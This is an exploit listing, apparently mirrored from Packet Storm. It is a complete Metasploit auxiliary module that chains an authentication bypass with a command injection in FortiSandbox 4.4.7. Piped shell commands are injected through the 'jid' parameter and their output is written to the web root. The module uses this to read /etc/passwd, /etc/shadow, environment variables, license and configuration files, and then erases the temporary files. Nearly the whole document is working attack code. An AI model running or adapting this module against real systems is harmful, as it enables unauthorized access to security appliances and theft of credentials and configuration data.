Share
## https://sploitus.com/exploit?id=PACKETSTORM:223318
==================================================================================================================================
| # Title : FortiSandbox 4.4.7 Information Gathering Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.fortinet.com/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary scanner module is designed to collect system and environment information from vulnerable FortiSandbox instances by leveraging two disclosed vulnerabilities: an authentication bypass and a command injection flaw. The module supports multiple collection modes, including system details, network configuration, user-related information, configuration files, platform-specific artifacts, and job metadata.
It automates data collection, reporting, and artifact storage to assist security researchers and defenders in assessment and validation activities.
[+] POC :
##
# Auxiliary module for information gathering
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'FortiSandbox Information Gatherer',
'Description' => %q{
This module gathers comprehensive information from vulnerable
FortiSandbox instances using CVE-2026-39813 (Auth Bypass)
and CVE-2026-39808 (Command Injection).
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-39813'],
['CVE', '2026-39808']
]
)
register_options([
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL/TLS', true]),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptEnum.new('INFO_TYPE', [true, 'Type of information to gather', 'all',
['all', 'system', 'network', 'users', 'configs', 'forti', 'jobs']])
])
end
def run_host(ip)
print_status("Gathering information from #{ip}")
case datastore['INFO_TYPE']
when 'all'
gather_all_info
when 'system'
gather_system_info
when 'network'
gather_network_info
when 'users'
gather_users_info
when 'configs'
gather_configs_info
when 'forti'
gather_forti_info
when 'jobs'
gather_jobs_info
end
end
def execute_cmd(cmd)
output_file = "tmp_#{rand(10000)}.txt"
injection_payload = "|#{cmd} > /web/ng/#{output_file} 2>&1|"
encoded_payload = Rex::Text.uri_encode(injection_payload)
exploit_uri = normalize_uri(target_uri.path, 'fortisandbox', 'job-detail', 'tracer-behavior')
res = send_request_cgi({
'method' => 'GET',
'uri' => exploit_uri,
'vars_get' => { 'jid' => encoded_payload },
'timeout' => 12
})
Rex.sleep(2)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ng', output_file),
'timeout' => 12
})
output = res.body if res && res.code == 200
cleanup_cmd = "rm -f /web/ng/#{output_file}"
cleanup_payload = "|#{cleanup_cmd}|"
send_request_cgi({
'method' => 'GET',
'uri' => exploit_uri,
'vars_get' => { 'jid' => Rex::Text.uri_encode(cleanup_payload) }
})
output
end
def gather_system_info
print_status("Gathering system information...")
cmds = {
'uname' => 'uname -a',
'hostname' => 'hostname',
'os' => 'cat /etc/os-release 2>/dev/null',
'uptime' => 'uptime',
'env' => 'env'
}
cmds.each do |name, cmd|
output = execute_cmd(cmd)
if output && !output.empty?
print_good("#{name.upcase}:\n#{output}")
report_note(host: rhost, type: "fortisandbox.#{name}", data: output)
end
end
end
def gather_network_info
print_status("Gathering network information...")
cmds = {
'interfaces' => 'ip a 2>/dev/null || ifconfig',
'routes' => 'route -n 2>/dev/null || ip route',
'connections' => 'netstat -tulnp 2>/dev/null || ss -tulnp',
'hosts' => 'cat /etc/hosts',
'iptables' => 'iptables -L -n 2>/dev/null',
'arp' => 'arp -n 2>/dev/null'
}
cmds.each do |name, cmd|
output = execute_cmd(cmd)
if output && !output.empty?
print_good("#{name.upcase}:\n#{output[0..500]}#{'...' if output.length > 500}")
report_note(host: rhost, type: "fortisandbox.network.#{name}", data: output)
end
end
end
def gather_users_info
print_status("Gathering user information...")
cmds = {
'passwd' => 'cat /etc/passwd',
'shadow' => 'cat /etc/shadow 2>/dev/null',
'groups' => 'groups',
'last_logins' => 'last -a 2>/dev/null',
'processes' => 'ps aux | head -50',
'sessions' => 'who -a 2>/dev/null'
}
cmds.each do |name, cmd|
output = execute_cmd(cmd)
if output && !output.empty?
print_good("#{name.upcase}:\n#{output[0..500]}")
report_note(host: rhost, type: "fortisandbox.users.#{name}", data: output)
report_cred(username: name) if name == 'passwd'
end
end
end
def gather_configs_info
print_status("Gathering configuration files...")
configs = [
'/opt/fortisandbox/conf/',
'/etc/fortinet/',
'/data/fortisandbox/conf/',
'/home/fortisandbox/.config/'
]
configs.each do |path|
cmd = "ls -la #{path} 2>/dev/null"
output = execute_cmd(cmd)
if output && !output.empty?
print_good("Config directory: #{path}\n#{output}")
find_cmd = "find #{path} -type f -name '*.conf' -o -name '*.cfg' -o -name '*.ini' 2>/dev/null | head -10"
files = execute_cmd(find_cmd)
if files
files.each_line do |file|
file.strip!
next if file.empty?
content = execute_cmd("head -100 #{file} 2>/dev/null")
if content
print_status("Content of #{file}:\n#{content[0..500]}")
store_loot("fortisandbox.config", "text/plain", rhost, content, file, "FortiSandbox Config")
end
end
end
end
end
end
def gather_forti_info
print_status("Gathering FortiSandbox specific information...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'system', 'firmware')
})
if res && res.code == 200
begin
json = res.get_json_document
print_good("FortiSandbox Info via API:")
json.each do |k, v|
print_status(" #{k}: #{v}")
end
report_note(host: rhost, type: "fortisandbox.api_info", data: json.to_s)
rescue
end
end
cmds = {
'version' => '/opt/fortisandbox/bin/fortisandbox -v 2>/dev/null',
'license' => 'cat /data/fortisandbox/license/* 2>/dev/null',
'jobs' => 'ls -la /data/fortisandbox/jobs/ 2>/dev/null | head -20',
'logs' => 'ls -la /var/log/fortisandbox/ 2>/dev/null | head -20',
'quarantine' => 'ls -la /data/fortisandbox/quarantine/ 2>/dev/null | head -20'
}
cmds.each do |name, cmd|
output = execute_cmd(cmd)
if output && !output.empty?
print_good("#{name.upcase}:\n#{output[0..300]}")
end
end
end
def gather_jobs_info
print_status("Gathering job information...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'list')
})
if res && res.code == 200
begin
jobs = res.get_json_document
print_good("Found #{jobs.size} jobs via API")
jobs.each do |job|
print_status("Job: #{job}")
end
report_note(host: rhost, type: "fortisandbox.jobs", data: jobs.to_s)
rescue
output = execute_cmd('ls -la /data/fortisandbox/jobs/ 2>/dev/null')
print_good("Jobs directory:\n#{output}") if output
end
end
end
def gather_all_info
gather_system_info
gather_network_info
gather_users_info
gather_configs_info
gather_forti_info
gather_jobs_info
print_good("Information gathering completed")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================